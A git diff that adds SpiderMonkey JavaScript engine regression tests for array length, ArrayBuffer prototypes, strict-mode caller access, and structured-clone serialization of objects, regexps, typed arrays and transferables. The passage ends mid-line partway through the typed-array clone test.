diff options
Diffstat (limited to 'js/src/tests/js1_8_5')
206 files changed, 11606 insertions, 0 deletions
diff --git a/js/src/tests/js1_8_5/README b/js/src/tests/js1_8_5/README new file mode 100644 index 000000000..5c4d06046 --- /dev/null +++ b/js/src/tests/js1_8_5/README @@ -0,0 +1,4 @@ +JavaScript 1.8.5 + +Use this suite for tests which require EcmaScript 5 along with features such as +|let|, |yield| diff --git a/js/src/tests/js1_8_5/browser.js b/js/src/tests/js1_8_5/browser.js new file mode 100644 index 000000000..e69de29bb --- /dev/null +++ b/js/src/tests/js1_8_5/browser.js diff --git a/js/src/tests/js1_8_5/extensions/array-length-protochange.js b/js/src/tests/js1_8_5/extensions/array-length-protochange.js new file mode 100644 index 000000000..aeec8e9a2 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/array-length-protochange.js @@ -0,0 +1,35 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 548671; +var summary = + "Don't use a shared-permanent inherited property to implement " + + "[].length or (function(){}).length"; + +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +var a = [1, 2, 3]; +a.__proto__ = null; +reportCompare("length" in a, true, "length should be own property of array"); +reportCompare(Object.hasOwnProperty.call(a, "length"), true, + "length should be own property of array"); +reportCompare(a.length, 3, "array length should be 3"); + +var a = [], b = []; +b.__proto__ = a; +reportCompare(b.hasOwnProperty("length"), true, + "length should be own property of array"); +b.length = 42; +reportCompare(b.length, 42, "should have mutated b's (own) length"); +reportCompare(a.length, 0, "should not have mutated a's (own) length"); + + +if (typeof reportCompare === "function") + reportCompare(true, true); + +print("All tests passed!"); diff --git a/js/src/tests/js1_8_5/extensions/arraybuffer-prototype.js b/js/src/tests/js1_8_5/extensions/arraybuffer-prototype.js new file mode 100644 index 000000000..c61b31776 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/arraybuffer-prototype.js @@ -0,0 +1,28 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 665961; +var summary = + "ArrayBuffer cannot access properties defined on the prototype chain."; +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +ArrayBuffer.prototype.prop = "on prototype"; +var b = new ArrayBuffer([]); +assertEq(b.prop, "on prototype"); + +var c = new ArrayBuffer([]); +assertEq(c.prop, "on prototype"); +c.prop = "direct"; +assertEq(c.prop, "direct"); + +assertEq(ArrayBuffer.prototype.prop, "on prototype"); +assertEq(new ArrayBuffer([]).prop, "on prototype"); + +assertEq(c.nonexistent, undefined); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/extensions/browser.js b/js/src/tests/js1_8_5/extensions/browser.js new file mode 100644 index 000000000..fc8ffefac --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/browser.js @@ -0,0 +1,6 @@ +// The page loaded in the browser is jsreftest.html, which is located in +// js/src/tests. That makes Worker script URLs resolve relative to the wrong +// directory. workerDir is the workaround. +workerDir = (document.location.href.replace(/\/[^/?]*(\?.*)?$/, '/') + + 'js1_8_5/extensions/'); + diff --git a/js/src/tests/js1_8_5/extensions/censor-strict-caller.js b/js/src/tests/js1_8_5/extensions/censor-strict-caller.js new file mode 100644 index 000000000..8662bebf2 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/censor-strict-caller.js @@ -0,0 +1,34 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 588251; +var summary = + "fun.caller should throw if that value corresponds to a strict mode " + + "function"; + +print(BUGNUMBER + ": " + summary); + +/************** + * BEGIN TEST * + **************/ + +function nonstrict() { return nonstrict.caller; } +function strict() { "use strict"; return nonstrict(); } +try +{ + strict(); + throw 17; +} +catch (e) +{ + assertEq(e instanceof TypeError, true, + "expected TypeError accessing strict mode caller, got: " + e); +} + +/******************************************************************************/ + +if (typeof reportCompare === "function") + reportCompare(true, true); + +print("All tests passed!"); diff --git a/js/src/tests/js1_8_5/extensions/clone-complex-object.js b/js/src/tests/js1_8_5/extensions/clone-complex-object.js new file mode 100644 index 000000000..7a20dbb38 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-complex-object.js @@ -0,0 +1,313 @@ +// |reftest| skip-if(!xulRuntime.shell) +// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// Set of properties on a cloned object that are legitimately non-enumerable, +// grouped by object type. +var non_enumerable = { 'Array': [ 'length' ], + 'String': [ 'length' ] }; + +// Set of properties on a cloned object that are legitimately non-configurable, +// grouped by object type. The property name '0' stands in for any indexed +// property. +var non_configurable = { 'String': [ 0 ], + '(typed array)': [ 0 ] }; + +// Set of properties on a cloned object that are legitimately non-writable, +// grouped by object type. The property name '0' stands in for any indexed +// property. +var non_writable = { 'String': [ 0 ] }; + +function classOf(obj) { + var classString = Object.prototype.toString.call(obj); + var [ all, classname ] = classString.match(/\[object (\w+)/); + return classname; +} + +function isIndex(p) { + var u = p >>> 0; + return ("" + u == p && u != 0xffffffff); +} + +function notIndex(p) { + return !isIndex(p); +} + +function tableContains(table, cls, prop) { + if (isIndex(prop)) + prop = 0; + if (cls.match(/\wArray$/)) + cls = "(typed array)"; + var exceptionalProps = table[cls] || []; + return exceptionalProps.indexOf(prop) != -1; +} + +function shouldBeConfigurable(cls, prop) { + return !tableContains(non_configurable, cls, prop); +} + +function shouldBeWritable(cls, prop) { + return !tableContains(non_writable, cls, prop); +} + +function ownProperties(obj) { + return Object.getOwnPropertyNames(obj). + map(function (p) { return [p, Object.getOwnPropertyDescriptor(obj, p)]; }); +} + +function isCloneable(pair) { + return typeof pair[0] === 'string' && pair[1].enumerable; +} + +function compareProperties(a, b, stack, path) { + var ca = classOf(a); + + // 'b', the original object, may have non-enumerable or XMLName properties; + // ignore them. 'a', the clone, should not have any non-enumerable + // properties (except .length, if it's an Array or String) or XMLName + // properties. + var pb = ownProperties(b).filter(isCloneable); + var pa = ownProperties(a); + for (var i = 0; i < pa.length; i++) { + var propname = pa[i][0]; + assertEq(typeof propname, "string", "clone should not have E4X properties " + path); + if (!pa[i][1].enumerable) { + if (tableContains(non_enumerable, ca, propname)) { + // remove it so that the comparisons below will work + pa.splice(i, 1); + i--; + } else { + throw new Error("non-enumerable clone property " + uneval(pa[i][0]) + " " + path); + } + } + } + + // Check that, apart from properties whose names are array indexes, + // the enumerable properties appear in the same order. + var aNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex); + var bNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex); + assertEq(aNames.join(","), bNames.join(","), path); + + // Check that the lists are the same when including array indexes. + function byName(a, b) { a = a[0]; b = b[0]; return a < b ? -1 : a === b ? 0 : 1; } + pa.sort(byName); + pb.sort(byName); + assertEq(pa.length, pb.length, "should see the same number of properties " + path); + for (var i = 0; i < pa.length; i++) { + var aName = pa[i][0]; + var bName = pb[i][0]; + assertEq(aName, bName, path); + + var path2 = isIndex(aName) ? path + "[" + aName + "]" : path + "." + aName; + var da = pa[i][1]; + var db = pb[i][1]; + assertEq(da.configurable, shouldBeConfigurable(ca, aName), path2); + assertEq(da.writable, shouldBeWritable(ca, aName), path2); + assertEq("value" in da, true, path2); + var va = da.value; + var vb = b[pb[i][0]]; + stack.push([va, vb, path2]); + } +} + +function isClone(a, b) { + var stack = [[a, b, 'obj']]; + var memory = new WeakMap(); + var rmemory = new WeakMap(); + + while (stack.length > 0) { + var pair = stack.pop(); + var x = pair[0], y = pair[1], path = pair[2]; + if (typeof x !== "object" || x === null) { + // x is primitive. + assertEq(x, y, "equal primitives"); + } else if (x instanceof Date) { + assertEq(x.getTime(), y.getTime(), "equal times for cloned Dates"); + } else if (memory.has(x)) { + // x is an object we have seen before in a. + assertEq(y, memory.get(x), "repeated object the same"); + assertEq(rmemory.get(y), x, "repeated object's clone already seen"); + } else { + // x is an object we have not seen before. + // Check that we have not seen y before either. + assertEq(rmemory.has(y), false); + + var xcls = classOf(x); + var ycls = classOf(y); + assertEq(xcls, ycls, "same [[Class]]"); + + // clone objects should have the default prototype of the class + assertEq(Object.getPrototypeOf(x), this[xcls].prototype); + + compareProperties(x, y, stack, path); + + // Record that we have seen this pair of objects. + memory.set(x, y); + rmemory.set(y, x); + } + } + return true; +} + +function check(val) { + var clone = deserialize(serialize(val)); + assertEq(isClone(val, clone), true); + return clone; +} + +// Various recursive objects + +// Recursive array. +var a = []; +a[0] = a; +check(a); + +// Recursive Object. +var b = {}; +b.next = b; +check(b); + +// Mutually recursive objects. +var a = []; +var b = {}; +var c = {}; +a[0] = b; +a[1] = b; +a[2] = b; +b.next = a; +check(a); +check(b); + +// A date +check(new Date); + +// A recursive object that is very large. +a = []; +b = a; +for (var i = 0; i < 10000; i++) { + b[0] = {}; + b[1] = []; + b = b[1]; +} +b[0] = {owner: a}; +b[1] = []; +check(a); + +// Date objects should not be identical even if representing the same date +var ar = [ new Date(1000), new Date(1000) ]; +var clone = check(ar); +assertEq(clone[0] === clone[1], false); + +// Identity preservation for various types of objects + +function checkSimpleIdentity(v) +{ + a = check([ v, v ]); + assertEq(a[0] === a[1], true); + return a; +} + +var v = new Boolean(true); +checkSimpleIdentity(v); + +v = new Number(17); +checkSimpleIdentity(v); + +v = new String("yo"); +checkSimpleIdentity(v); + +v = "fish"; +checkSimpleIdentity(v); + +v = new Int8Array([ 10, 20 ]); +checkSimpleIdentity(v); + +v = new ArrayBuffer(7); +checkSimpleIdentity(v); + +v = new Date(1000); +b = [ v, v, { 'date': v } ]; +clone = check(b); +assertEq(clone[0] === clone[1], true); +assertEq(clone[0], clone[2]['date']); +assertEq(clone[0] === v, false); + +// Reduced and modified from postMessage_structured_clone test +let foo = { }; +let baz = { }; +let obj = { 'foo': foo, + 'bar': { 'foo': foo }, + 'expando': { 'expando': baz }, + 'baz': baz }; +check(obj); + +for (obj of new getTestContent) + check(obj); + +// Stolen wholesale from postMessage_structured_clone_helper.js +function getTestContent() +{ + yield "hello"; + yield 2+3; + yield 12; + yield null; + yield "complex" + "string"; + yield new Object(); + yield new Date(1306113544); + yield [1, 2, 3, 4, 5]; + let obj = new Object(); + obj.foo = 3; + obj.bar = "hi"; + obj.baz = new Date(1306113544); + obj.boo = obj; + yield obj; + + let recursiveobj = new Object(); + recursiveobj.a = recursiveobj; + recursiveobj.foo = new Object(); + recursiveobj.foo.bar = "bar"; + recursiveobj.foo.backref = recursiveobj; + recursiveobj.foo.baz = 84; + recursiveobj.foo.backref2 = recursiveobj; + recursiveobj.bar = new Object(); + recursiveobj.bar.foo = "foo"; + recursiveobj.bar.backref = recursiveobj; + recursiveobj.bar.baz = new Date(1306113544); + recursiveobj.bar.backref2 = recursiveobj; + recursiveobj.expando = recursiveobj; + yield recursiveobj; + + obj = new Object(); + obj.expando1 = 1; + obj.foo = new Object(); + obj.foo.bar = 2; + obj.bar = new Object(); + obj.bar.foo = obj.foo; + obj.expando = new Object(); + obj.expando.expando = new Object(); + obj.expando.expando.obj = obj; + obj.expando2 = 4; + obj.baz = obj.expando.expando; + obj.blah = obj.bar; + obj.foo.baz = obj.blah; + obj.foo.blah = obj.blah; + yield obj; + + let diamond = new Object(); + obj = new Object(); + obj.foo = "foo"; + obj.bar = 92; + obj.backref = diamond; + diamond.ref1 = obj; + diamond.ref2 = obj; + yield diamond; + + let doubleref = new Object(); + obj = new Object(); + doubleref.ref1 = obj; + doubleref.ref2 = obj; + yield doubleref; +} + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/clone-errors.js b/js/src/tests/js1_8_5/extensions/clone-errors.js new file mode 100644 index 000000000..f65578a06 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-errors.js @@ -0,0 +1,41 @@ +// |reftest| skip-if(!xulRuntime.shell) +// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function check(v) { + try { + serialize(v); + } catch (exc) { + return; + } + throw new Error("serializing " + uneval(v) + " should have failed with an exception"); +} + +// Unsupported object types. +check(new Error("oops")); +check(this); +check(Math); +check(function () {}); +check(new Proxy({}, {})); + +// A failing getter. +check({get x() { throw new Error("fail"); }}); + +// Mismatched scopes. +for (let [write_scope, read_scope] of [['SameProcessSameThread', 'SameProcessDifferentThread'], + ['SameProcessSameThread', 'DifferentProcess'], + ['SameProcessDifferentThread', 'DifferentProcess']]) +{ + var ab = new ArrayBuffer(12); + var buffer = serialize(ab, [ab], { scope: write_scope }); + var caught = false; + try { + deserialize(buffer, { scope: read_scope }); + } catch (exc) { + caught = true; + } + assertEq(caught, true, `${write_scope} clone buffer should not be deserializable as ${read_scope}`); +} + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/extensions/clone-forge.js b/js/src/tests/js1_8_5/extensions/clone-forge.js new file mode 100644 index 000000000..3cdb0ea0d --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-forge.js @@ -0,0 +1,39 @@ +// |reftest| skip-if(!xulRuntime.shell) +// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function assertThrows(f) { + var ok = false; + try { + f(); + } catch (exc) { + ok = true; + } + if (!ok) + throw new TypeError("Assertion failed: " + f + " did not throw as expected"); +} + +function byteArray(str) { + return str.split('').map(c => c.charCodeAt(0)); +} + +// Don't allow forging bogus Date objects. +var mutated = byteArray(serialize(new Date(NaN)).clonebuffer); + +var a = [1/0, -1/0, + Number.MIN_VALUE, -Number.MIN_VALUE, + Math.PI, 1286523948674.5, + Number.MAX_VALUE, -Number.MAX_VALUE, + 8.64e15 + 1, -(8.64e15 + 1)]; +for (var i = 0; i < a.length; i++) { + var n = a[i]; + var nbuf = serialize(n); + var data = byteArray(nbuf.clonebuffer); + for (var j = 0; j < 8; j++) + mutated[j+8] = data[j]; + nbuf.clonebuffer = String.fromCharCode.apply(null, mutated); + assertThrows(function () { deserialize(nbuf); }); +} + +reportCompare(0, 0); diff --git a/js/src/tests/js1_8_5/extensions/clone-leaf-object.js b/js/src/tests/js1_8_5/extensions/clone-leaf-object.js new file mode 100644 index 000000000..b50b307ba --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-leaf-object.js @@ -0,0 +1,64 @@ +// |reftest| skip-if(!xulRuntime.shell) +// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var a = [new Boolean(true), + new Boolean(false), + new Number(0), + new Number(-0), + new Number(Math.PI), + new Number(0x7fffffff), + new Number(-0x7fffffff), + new Number(0x80000000), + new Number(-0x80000000), + new Number(0xffffffff), + new Number(-0xffffffff), + new Number(0x100000000), + new Number(-0x100000000), + new Number(Number.MIN_VALUE), + new Number(-Number.MIN_VALUE), + new Number(Number.MAX_VALUE), + new Number(-Number.MAX_VALUE), + new Number(1/0), + new Number(-1/0), + new Number(0/0), + new String(""), + new String("\0123\u4567"), + new Date(0), + new Date(-0), + new Date(0x7fffffff), + new Date(-0x7fffffff), + new Date(0x80000000), + new Date(-0x80000000), + new Date(0xffffffff), + new Date(-0xffffffff), + new Date(0x100000000), + new Date(-0x100000000), + new Date(1286523948674), + new Date(8.64e15), // hard-coded in ES5 spec, hard-coded here + new Date(-8.64e15), + new Date(NaN)]; + +function primitive(a) { + return a instanceof Date ? +a : a.constructor(a); +} + +for (var i = 0; i < a.length; i++) { + var x = a[i]; + var expectedSource = x.toSource(); + var expectedPrimitive = primitive(x); + var expectedProto = x.__proto__; + var expectedString = Object.prototype.toString.call(x); + x.expando = 1; + x.__proto__ = {}; + + var y = deserialize(serialize(x)); + assertEq(y.toSource(), expectedSource); + assertEq(primitive(y), expectedPrimitive); + assertEq(y.__proto__, expectedProto); + assertEq(Object.prototype.toString.call(y), expectedString); + assertEq("expando" in y, false); +} + +reportCompare(0, 0); diff --git a/js/src/tests/js1_8_5/extensions/clone-many-transferables.js b/js/src/tests/js1_8_5/extensions/clone-many-transferables.js new file mode 100644 index 000000000..7434a09aa --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-many-transferables.js @@ -0,0 +1,25 @@ +// |reftest| skip-if(!xulRuntime.shell) -- requires serialize() +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function test() +{ + // On my system, with an unfixed build where transfer-list processing is + // quadratic, 5e5 elements makes this test take ~70s in a shell opt build. + // Debug build is well into timeout-land at 300+s. As long as at least *one* + // platform times out for a quadratic algorithm, a regression should be + // obvious. (Time to run the test in even a debug shell is ~17s, well short + // of timing out.) + var transfers = []; + for (var i = 0; i < 5e5; i++) + transfers.push(new ArrayBuffer()); + + // If serialization is quadratic in the length of |transfers|, the test will + // time out. If the test doesn't time out, it passed. + serialize({}, transfers); +} + +test(); + +if (typeof reportCompare === "function") + reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/clone-object-deep.js b/js/src/tests/js1_8_5/extensions/clone-object-deep.js new file mode 100644 index 000000000..685577b92 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-object-deep.js @@ -0,0 +1,25 @@ +// |reftest| skip-if(!xulRuntime.shell) +// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function test() { + var check = clone_object_check; + + // Invoke with the simple parameter to compile the function before doing + // deep clone, on --ion-eager case, to avoid timeout. + check({x: null, y: undefined}); + + // Try cloning a deep object. Don't fail with "too much recursion". + var b = {}; + var current = b; + for (var i = 0; i < 10000; i++) { + var next = {}; + current['x' + i] = next; + current = next; + } + check(b, "deepObject"); // takes 2 seconds :-\ +} + +test(); +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/clone-object.js b/js/src/tests/js1_8_5/extensions/clone-object.js new file mode 100644 index 000000000..29a38217a --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-object.js @@ -0,0 +1,129 @@ +// |reftest| skip-if(!xulRuntime.shell) +// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function test() { + var check = clone_object_check; + + check({}); + check([]); + check({x: 0}); + check({x: 0.7, p: "forty-two", y: null, z: undefined}); + check(Array.prototype); + check(Object.prototype); + + // before and after + var b, a; + + // Slow array. + b = [, 1, 2, 3]; + b.expando = true; + b[5] = 5; + b[0] = 0; + b[4] = 4; + delete b[2]; + check(b); + + // Check cloning properties other than basic data properties. (check() + // asserts that the properties of the clone are configurable, writable, + // enumerable data properties.) + b = {}; + Object.defineProperties(b, { + x: {enumerable: true, get: function () { return 12479; }}, + y: {enumerable: true, configurable: true, writable: false, value: 0}, + z: {enumerable: true, configurable: false, writable: true, value: 0}, + hidden: {enumerable:false, value: 1334}}); + check(b); + + // Check corner cases involving property names. + b = {"-1": -1, + 0xffffffff: null, + 0x100000000: null, + "": 0, + "\xff\x7f\u7fff\uffff\ufeff\ufffe": 1, // random unicode id + "\ud800 \udbff \udc00 \udfff": 2}; // busted surrogate pairs + check(b); + + b = []; + b[-1] = -1; + b[0xffffffff] = null; + b[0x100000000] = null; + b[""] = 0; + b["\xff\x7f\u7fff\uffff\ufeff\ufffe"] = 1; + b["\ud800 \udbff \udc00 \udfff"] = 2; + check(b); + + // An array's .length property is not enumerable, so it is not cloned. + b = Array(5); + assertEq(b.length, 5); + a = check(b); + assertEq(a.length, 0); + + b[1] = "ok"; + a = check(b); + assertEq(a.length, 2); + + // Check that prototypes are not cloned, per spec. + b = Object.create({x:1}); + b.y = 2; + b.z = 3; + check(b); + + // Check that cloning does not separate merge points in the tree. + var same = {}; + b = {one: same, two: same}; + a = check(b); + assertEq(a.one === a.two, true); + + b = [same, same]; + a = check(b); + assertEq(a[0] === a[1], true); + + /* + XXX TODO spin this out into its own test + // This fails quickly with an OOM error. An exception would be nicer. + function Infinitree() { + return { get left() { return new Infinitree; }, + get right() { return new Infinitree; }}; + } + var threw = false; + try { + serialize(new Infinitree); + } catch (exc) { + threw = true; + } + assertEq(threw, true); + */ + + // Clone an array with holes. + check([0, 1, 2, , 4, 5, 6]); + + // Array holes should not take up space. + b = []; + b[255] = 1; + check(b); + assertEq(serialize(b).clonebuffer.length < 255, true); + + // Self-modifying object. + // This should never read through to b's prototype. + b = Object.create({y: 2}, + {x: {enumerable: true, + configurable: true, + get: function() { if (this.hasOwnProperty("y")) delete this.y; return 1; }}, + y: {enumerable: true, + configurable: true, + writable: true, + value: 3}}); + check(b, "selfModifyingObject"); + + // Ignore properties with object-ids. + var uri = "http://example.net"; + b = {x: 1, y: 2}; + Object.defineProperty(b, Array(uri, "x"), {enumerable: true, value: 3}); + Object.defineProperty(b, Array(uri, "y"), {enumerable: true, value: 5}); + check(b); +} + +test(); +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/clone-regexp.js b/js/src/tests/js1_8_5/extensions/clone-regexp.js new file mode 100644 index 000000000..97f755785 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-regexp.js @@ -0,0 +1,37 @@ +// |reftest| skip-if(!xulRuntime.shell) +// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function testRegExp(b, c=b) { + var a = deserialize(serialize(b)); + assertEq(a === b, false); + assertEq(Object.getPrototypeOf(a), RegExp.prototype); + assertEq(Object.prototype.toString.call(a), "[object RegExp]"); + for (p in a) + throw new Error("cloned RegExp should have no enumerable properties"); + + assertEq(a.source, c.source); + assertEq(a.global, c.global); + assertEq(a.ignoreCase, c.ignoreCase); + assertEq(a.multiline, c.multiline); + assertEq(a.sticky, c.sticky); + assertEq("expando" in a, false); +} + +testRegExp(RegExp("")); +testRegExp(/(?:)/); +testRegExp(/^(.*)$/gimy); +testRegExp(RegExp.prototype); + +var re = /\bx\b/gi; +re.expando = true; +testRegExp(re); +// `source` and the flag accessors are defined on RegExp.prototype, so they're +// not available after re.__proto__ has been changed. We solve that by passing +// in an additional copy of the same RegExp to compare the +// serialized-then-deserialized clone with." +re.__proto__ = {}; +testRegExp(re, /\bx\b/gi); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/clone-simple.js b/js/src/tests/js1_8_5/extensions/clone-simple.js new file mode 100644 index 000000000..b7684dd02 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-simple.js @@ -0,0 +1,33 @@ +// |reftest| skip-if(!xulRuntime.shell) +// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function testEq(b) { + var a = deserialize(serialize(b)); + assertEq(a, b); +} + +testEq(void 0); +testEq(null); + +testEq(true); +testEq(false); + +testEq(0); +testEq(-0); +testEq(1/0); +testEq(-1/0); +testEq(0/0); +testEq(Math.PI); + +testEq(""); +testEq("\0"); +testEq("a"); // unit string +testEq("ab"); // length-2 string +testEq("abc\0123\r\n"); // nested null character +testEq("\xff\x7f\u7fff\uffff\ufeff\ufffe"); // random unicode stuff +testEq("\ud800 \udbff \udc00 \udfff"); // busted surrogate pairs +testEq(Array(1024).join(Array(1024).join("x"))); // 2MB string + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/clone-transferables.js b/js/src/tests/js1_8_5/extensions/clone-transferables.js new file mode 100644 index 000000000..673684b95 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-transferables.js @@ -0,0 +1,112 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function* buffer_options() { + for (var scope of ["SameProcessSameThread", "SameProcessDifferentThread", "DifferentProcess"]) { + for (var size of [0, 8, 16, 200, 1000, 4096, 8192, 65536]) { + yield { scope, size }; + } + } +} + + +function test() { + for (var {scope, size} of buffer_options()) { + var old = new ArrayBuffer(size); + var copy = deserialize(serialize([old, old], [old], { scope }), { scope }); + assertEq(old.byteLength, 0); + assertEq(copy[0] === copy[1], true); + copy = copy[0]; + assertEq(copy.byteLength, size); + + var constructors = [ Int8Array, + Uint8Array, + Int16Array, + Uint16Array, + Int32Array, + Uint32Array, + Float32Array, + Float64Array, + Uint8ClampedArray, + DataView ]; + + for (var ctor of constructors) { + var dataview = (ctor === DataView); + + var buf = new ArrayBuffer(size); + var old_arr = new ctor(buf); + assertEq(buf.byteLength, size); + assertEq(buf, old_arr.buffer); + if (!dataview) + assertEq(old_arr.length, size / old_arr.BYTES_PER_ELEMENT); + + var copy_arr = deserialize(serialize(old_arr, [ buf ], { scope }), { scope }); + assertEq(buf.byteLength, 0, + "donor array buffer should be detached"); + if (!dataview) { + assertEq(old_arr.length, 0, + "donor typed array should be detached"); + } + assertEq(copy_arr.buffer.byteLength == size, true); + if (!dataview) + assertEq(copy_arr.length, size / old_arr.BYTES_PER_ELEMENT); + + buf = null; + old_arr = null; + gc(); // Tickle the ArrayBuffer -> view management + } + + for (var ctor of constructors) { + var dataview = (ctor === DataView); + + var buf = new ArrayBuffer(size); + var old_arr = new ctor(buf); + var dv = new DataView(buf); // Second view + var copy_arr = deserialize(serialize(old_arr, [ buf ], { scope }), { scope }); + assertEq(buf.byteLength, 0, + "donor array buffer should be detached"); + assertEq(old_arr.byteLength, 0, + "donor typed array should be detached"); + if (!dataview) { + assertEq(old_arr.length, 0, + "donor typed array should be detached"); + } + assertEq(dv.byteLength, 0, + "all views of donor array buffer should have zero " + + "length because their underlying buffer is detached"); + + buf = null; + old_arr = null; + gc(); // Tickle the ArrayBuffer -> view management + } + + // Mutate the buffer during the clone operation. The modifications should be visible. + if (size >= 4) { + old = new ArrayBuffer(size); + var view = new Int32Array(old); + view[0] = 1; + var mutator = { get foo() { view[0] = 2; } }; + var copy = deserialize(serialize([ old, mutator ], [ old ], { scope }), { scope }); + var viewCopy = new Int32Array(copy[0]); + assertEq(view.length, 0); // Underlying buffer now detached. + assertEq(viewCopy[0], 2); + } + + // Detach the buffer during the clone operation. Should throw an + // exception. + if (size >= 4) { + old = new ArrayBuffer(size); + var mutator = { + get foo() { + deserialize(serialize(old, [old], { scope }), { scope }); + } + }; + // The throw is not yet implemented, bug 919259. + //var copy = deserialize(serialize([ old, mutator ], [old])); + } + } +} + +test(); +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/clone-typed-array.js b/js/src/tests/js1_8_5/extensions/clone-typed-array.js new file mode 100644 index 000000000..77f0376e9 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-typed-array.js @@ -0,0 +1,104 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function assertArraysEqual(a, b) { + assertEq(a.constructor, b.constructor); + assertEq(a.length, b.length); + for (var i = 0; i < a.length; i++) + assertEq(a[i], b[i]); +} + +function check(b) { + var a = deserialize(serialize(b)); + assertArraysEqual(a, b); +} + +function checkPrototype(ctor) { + var threw = false; + try { + serialize(ctor.prototype); + throw new Error("serializing " + ctor.name + ".prototype should throw a TypeError"); + } catch (exc) { + if (!(exc instanceof TypeError)) + throw exc; + } +} + +function test() { + // Test cloning ArrayBuffer objects. + check(new ArrayBuffer(0)); + check(new ArrayBuffer(7)); + checkPrototype(ArrayBuffer); + + // Test cloning typed array objects. + var ctors = [ + Int8Array, + Uint8Array, + Int16Array, + Uint16Array, + Int32Array, + Uint32Array, + Float32Array, + Float64Array, + Uint8ClampedArray]; + + var b; + for (var i = 0; i < ctors.length; i++) { + var ctor = ctors[i]; + + // check empty array + b = new ctor(0); + check(b); + + // check array with some elements + b = new ctor(100); + var v = 1; + for (var j = 0; j < 100; j++) { + b[j] = v; + v *= 7; + } + b[99] = NaN; // check serializing NaNs too + check(b); + + // try the prototype + checkPrototype(ctor); + } + + // Two TypedArrays backed by the same ArrayBuffer should be cloned into two + // TypedArrays still sharing a buffer. This also tests cloning TypedArrays + // where the arr->data pointer is not 8-byte-aligned. + + var base = new Int8Array([0, 1, 2, 3]); + b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)]; + var a = deserialize(serialize(b)); + base[1] = -1; + a[0][2] = -2; + assertArraysEqual(b[0], new Int8Array([0, -1, 2])); // shared with base + assertArraysEqual(b[1], new Int8Array([-1, 2, 3])); // shared with base + assertArraysEqual(a[0], new Int8Array([0, 1, -2])); // not shared with base + assertArraysEqual(a[1], new Int8Array([1, -2, 3])); // not shared with base, shared with a[0] + + assertEq(b[0].buffer, b[1].buffer); + assertEq(b[1].byteOffset, 1); + assertEq(b[1].byteLength, 3); + assertEq(b[1].buffer.byteLength, 4); + + // ArrayBuffer clones do not preserve properties + + base = new Int8Array([0, 1, 2, 3]); + b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)]; + base.buffer.prop = "yes"; + base.buffer.loop = b[0]; + base.buffer.loops = [ b[0], b[1] ]; + a = deserialize(serialize(b)); + assertEq("prop" in a[0].buffer, 